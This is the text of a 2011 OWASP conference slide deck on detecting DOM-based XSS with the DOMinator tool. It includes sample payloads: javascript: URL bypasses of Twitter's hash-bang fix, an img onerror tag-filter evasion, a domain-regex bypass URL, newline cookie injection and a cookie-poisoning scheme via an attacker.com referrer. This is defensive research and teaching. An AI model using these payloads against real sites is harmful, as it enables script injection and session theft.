You are on page 1of 49

Finding DOMXSS With DOMinator

OWASP Goteborg Nov. 2011

Stefano di Paola CTO @ Minded Security stefano.dipaola@mindedsecurity.com


Copyright The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

$ whoami
Stefano Di Paola @WisecWisec Research
OWASP-Italy Senior Member Testing Guide Contributor OWASP SWFIntruder Bug Hunter & Sec Research (Pdf Uxss, Flash Security, HPP) Security Since '99

Work
CTO @ Minded Security Application Security Consulting Director of Minded Security Research Labs Lead of WAPT & Code Review Activities WebLogs: http://blog.mindedsecurity.com, http://www.wisec.it
OWASP Goteborg Nov. 2011

Agenda

DOM Based XSS JS Sources & Sinks Analysis of interesting examples DOMinator Some stats

OWASP Goteborg Nov. 2011

DOM Based XSS Literature

Original Paper by Amit klein in 2005

http://www.webappsec.org/projects/articles/071105.shtml Outlined some basic inputs and sinks. Didn't talk about control flow

Blog post by Ory Segal regarding control flow (2008)


http://blog.watchfire.com/wfblog/2008/06/javascript-code.html

JavaScript objects are loosely typed. If we just want to pass an existence check we can substitute an iframe window for a normal object

Kuza55 and Me (2008): Attacking Rich Internet Applications (25ccc, ruxcon)

OWASP Goteborg Nov. 2011

DOM Based XSS Literature Ext'd

OWASP DOM Based Xss:

https://www.owasp.org/index.php/DOM_Based_XSS DOMXss Wiki


https://code.google.com/p/domxsswiki/wiki/Index

OWASP Goteborg Nov. 2011

DOM Based XSS Twitter Example 1/4

Classic Twitter URL: https://twitter.com/#!/WisecWisec


( function(g){ var a=location.href.split("#!")[1]; if(a){ g.location=g.HBR=a; } } )(window);

Becomes: https://twitter.com/WisecWisec BUT....

OWASP Goteborg Nov. 2011

DOM Based XSS Twitter Example 2/4


http://twitter.com/#!javascript:ICanHasCookies() location=javascript:alert(1) Will be executed since javascript: is a pseudo-schema The first fix:
(function(g){ var a=location.href.split("#!")[1]; if(a){ g.location=g.HBR=a.replace(:,"",g); } } )(window);

OWASP Goteborg Nov. 2011

DOM Based XSS Twitter Example 3/4

First Bypass:
http://twitter.com/#!javascript::Payload

Second Fix:
(function(g){ var a=location.href.split("#!")[1]; if(a){ g.location=g.HBR=a.replace(/:/gi,""); } } )(window);

OWASP Goteborg Nov. 2011

DOM Based XSS Twitter Example 4/4

Second Bypass:
Open Redirect: http://twitter.com/#!//www.wisec.it Js Exec on IE: http://twitter.com/#!javascript&x58;alert..

Third (Final) Fix:


(function(g){ var a=location.href.split("#!")[1]; if(a){ g.location.pathname=g.HBR=a; } } )(window);
OWASP Goteborg Nov. 2011

Code Flow & Terminology

Sources: the input data that can be

directly or indirectly controlled by an attacker.

Filters: operations on Sources

which change the content or check for specific structures/values.

Sinks: potentially dangerous

functions the can be abused to take advantage of some kind of exploitation.

OWASP Goteborg Nov. 2011

Methodology
Find the Sources using the following RegExp:
/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML| write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI| baseURI|referrer|name|opener|parent|top|content|self|frames)\W)| (localStorage|sessionStorage|Database)/

Find the Sinks using the following RegExp:


/((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((replace| assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog| eval|evaluate|execCommand|execScript|setTimeout| setInterval)\s*["'\]]*\s*\()/

(all Regexp by Mario Heiderich) Now you get the sources & sinks and finally you can follow the flow on code like the following

OWASP Goteborg Nov. 2011

Methodology (?)

OWASP Goteborg Nov. 2011

Methodology
Javascript is not that easy to analyze! Code can be Compressed (function (p,a,c,k,e,d){..})() Obsfuscated
c=, eval(unescape("%u0540%u0556%u054C%u0519%u054E %u0550%u0557%u0518").split('' ).map(function(a) { c+=String.fromCharCode((a.charCodeAt(0)^1337))}) )

Or simply sla.ckers.ed : this.__parent__.[l+0x6f+c+0x61+tion]

OWASP Goteborg Nov. 2011

Possible Solutions
Static Analyzer:
Pro: Very good at finding flows if well implemented. Very fast. Contra: the problems of every Static Analyzer KB, reflection, runtime evaluation, lot of False Positives + False Negatives etc.

Script Injection to wrap sources and Sinks:


Pro: use native interpreter so no problem with obfuscation/compression Contra: Cannot follow the flow.

OWASP Goteborg Nov. 2011

Possible Solutions
Runtime Analysis with Dynamic Tainting:
Pro: Uses native interpreter so no problem with obfuscation/compression, can follow the flow. Contra: doesnt look at alternative paths. Just propagates the taint flag. No tracking of operations. (mostly used for defense like on perl tainting or php)

My Solution: DOMinator

OWASP Goteborg Nov. 2011

DOMinator (DOMinatriXss)
DOMinator is a tool for analyzing and identifying DOM Xss. Modified version of SpiderMonkey (JS Engine) to add Dynamic Tainting and perform Taint propagation Tracing. Modified version of Firefox to add taint propagation to DOM Attributes and chrome methods. Extension for Log Monitoring and runtime analysis.

OWASP Goteborg Nov. 2011

DOMinator Architecture

OWASP Goteborg Nov. 2011

DOMinator Interface

OWASP Goteborg Nov. 2011

DOMinator In Action

OWASP Goteborg Nov. 2011

Demo Time

OWASP Goteborg Nov. 2011

Input Sources

Everything taken from the URL:


document.URL document.URLUnencoded document.location (.pathname|.href|.search|.hash) window.location (.pathname|.href|.search|.hash)

The Referrer:
document.referrer

The window name:


window.name

OWASP Goteborg Nov. 2011

Input Sources
document.cookie HTML5 postMessage arg.data

window.addEventListener("message", function(msg){ eval(msg.data) } ,true);

window.dialogArguments

(when window is opened with window.showModalDialog)

OWASP Goteborg Nov. 2011

Intermediate Input Sources


Sources that could have been instantiated somewhere else and retrieved on another page.

Storage:

localStorage/globalStorage Database E.g. Input.value ( Drag & Drop Abuse )

HTML attributes storing user values

Cookies XMLHTTPRequest response.

OWASP Goteborg Nov. 2011

Classic Sinks

Every functionality that will create HTML: innerHTML, outerHTML, document.write

Every functionality that will interpret a string as JavaScript. eval, execScript, Function, setTimeout, setInterval but also script.src, iframe.src etc location.replace/assign

OWASP Goteborg Nov. 2011

Less Classic Sinks

However not all sinks must result in JavaScript execution Some additional new goals: Modify/abuse sensitive objects Modify DOM/HTML Objects Leak and insert cookies Perform directory traversal with XHR Perform CORS with XHR Client Side HPP (GUI Redressing in page)

OWASP Goteborg Nov. 2011

Sinks - modify DOM/HTML Objects


If we control the key: some_var = document[user_input]; If we control the key and value:

window[user_input]=userInput2;

or

config={url:http://host, defaultX:100,defaultY:200}; config[user_input]=userValue;

OWASP Goteborg Nov. 2011

Sinks - Leak and insert cookies

On Firefox is known that is possible to create a new Cookie using \n.

document.cookie=cookieName=+unescape(location.hash);

So #%0aANewCookie=1234 Resulting in two cookies (FF 3-4). Note: doesn't work anymore FF-7 fixed

document.cookie=cookieName=#\nANewCookie=1234;

OWASP Goteborg Nov. 2011

Sinks GUI Change

CSS Injection to modify the GUI/ inject Js (not alway possible) Injections into IMG tags win against Referrer check (CSRF). Let us control the UI

OWASP Goteborg Nov. 2011

Css DOM Injection get sensitive values


If you can inject only css, or cssText is used as sink:
CSSStyleDeclaration.cssText=someConstant+Source+;

CSS Injection to get sensitive values by inference: slow but effective. Lets see it with a

DEMO

OWASP Goteborg Nov. 2011

Css DOM Injection get sensitive values


Css3 Attribute Selector
http://www.w3.org/TR/css3-selectors/#attribute-selectors a[href=a] { ... }

Css3 Attribute Substring Matching


http://www.w3.org/TR/css3-selectors/#attribute-substrings [att^=val] :Represents an element with the att attribute whose value begins with the prefix "val". [att$=val] : Represents an element with the att attribute whose value ends with the suffix "val". [att*=val] : Represents an element with the att attribute whose value contains at least one instance of the substring "val".

OWASP Goteborg Nov. 2011

HTML 5
Cross Origin Request could be abused.
var url=/profilePages var xhr=new XMLHttpRequest(); xhr.open(GET,getQueryParam(debugPage)||url,true);

Facebook issue
#!/profileName var xhr=new XMLHttpRequest(); xhr.open(GET,location.hash.slice(2),true);

Attacker just needs to add Access-Control-Allow-Origin: * to the response

OWASP Goteborg Nov. 2011

Absolute URLs
Mario Heiderich, Gareth Heyes, Sirdarkcat, Kotowicz did a very interesting research about URL parsing in browsers http://code.google.com/p/urlparsing/ http://kotowicz.net/absolute/

OWASP Goteborg Nov. 2011

Absolute URLs

OWASP Goteborg Nov. 2011

Filters

Classics (un)escape (de)encodeURIComponent (de)encodeURI

It's interesting that sometimes they're not correctly used. Advanced filtering (very similar to server side filtering implementations): replace match/test

OWASP Goteborg Nov. 2011

Classics Filters Encoding Differences

OWASP Goteborg Nov. 2011

Classics Filters Decoding Differences

OWASP Goteborg Nov. 2011

(Wrong) Filters Example 1

DOMinator Demo

OWASP Goteborg Nov. 2011

(Wrong) Filters - domains


var urlZone=getQueryParam("zone") if(urlZone.match(/(bbc\.co\.uk)(.*)\/(.*bbc\.com)(\.js)/)){ script.src=urlZone;
}

Do you spot the issue?

OWASP Goteborg Nov. 2011

(Wrong) Filters - domains


var urlZone=getQueryParam("zone") if(urlZone.match(/(bbc\.co\.uk)(.*)\/(.*bbc\.com)(\.js)/)){ script.src=urlZone; }

zone=http://127.0.0.1/www.bbc.co.uk/dddbbc.com.js

OWASP Goteborg Nov. 2011

(Wrong) Filters Example 2

DOMinator Demo

OWASP Goteborg Nov. 2011

(Wrong) Filters Whitelisted Tags


var U = C.ns("utils"), T = /<\/?(.+?)\/?>/ig; U.striptags = function (g, h) { var m = k.isArray(h) ? h : null; var vv= g.replace(T, m ? function (p, w) { return m.contains(w) ? p : "" } : ") return vv; }; U.striptags( getQueryPar(content), [b,i] );

do you spot the issue?


OWASP Goteborg Nov. 2011

(Wrong) Filters Whitelisted Tags


var U = C.ns("utils"), T = /<\/?(.+?)\/?>/ig; U.striptags = function (g, h) { var m = k.isArray(h) ? h : null; var vv= g.replace(T, m ? function (p, w) { return m.contains(w) ? p : "" } : ") return vv; }; U.striptags( getQueryPar(content), [b,i] );

<img src=a onerror=alert(81) %0A>


OWASP Goteborg Nov. 2011

(Wrong) Filters - Cookie


Now that we know that \n is a metachar for FF we need to filter it out

var c=document.hash.slice(1).replace(/\r|\n/g,); document.cookie = cookieName=+c+;expire .; domain

Heres something new


Try using character (\u010a)

Youll see the same as \x0a

DEMO

OWASP Goteborg Nov. 2011

(Wrong) Filters Cookie 2

Several issues with cookie parsing

No easy way. Lot of match/split/indexOf/substr


function getCookieValue(name){ var p; var c=document.cookie; var arrs=c.split(;); for(var i =0 ; i< arrs.length; i++) if( (p=arrs[i].indexOf(name))>0){ return arrs[i].substr(p); } } getCookieVal(mycookieName=)

OWASP Goteborg Nov. 2011

(Wrong) Filters Cookie 2 - Attack

what if some Js writes a value like this:

document.cookie=ref=+document.referrer eval( getCookieVal(userHistory) )

And somewhere else:

?
OWASP Goteborg Nov. 2011

(Wrong) Filters Cookie 2 - Attack

set an attacker site:

Iframing victim site which will sets cookie:


ref=http://www.attacker.com/userHist=alert(1)

http://www.attacker.com/userHist=alert(1)

Then looks for userHist and Boom!


OWASP Goteborg Nov. 2011

Some Stats
Took first 100 from Top 1 Million Alexa list. Found several others in top 1 Million most of them advertising hosted as 3rd party scripts. For example Omniture, Google AdWords, or widgets, buttons etc. Using DOMinator + my brain I found that 56 out of 100 top Alexa sites where vulnerable to directly exploitable DOM Based Xss. Means, remote attacker with a reliable scenario.

OWASP Goteborg Nov. 2011

DOMinator Community Version


google code project: http://code.google.com/p/dominator/downloads/list Working on porting it to Firefox 7+ Mailing List: http://groups.google.com/group/dominator-ml/

OWASP Goteborg Nov. 2011

Mail: stefano.dipaola@mindedsecurity.com

Tnx! ^_^ Go and exploit /* ethically */ Q&A


Twitter: wisecwisec

OWASP Goteborg Nov. 2011

You might also like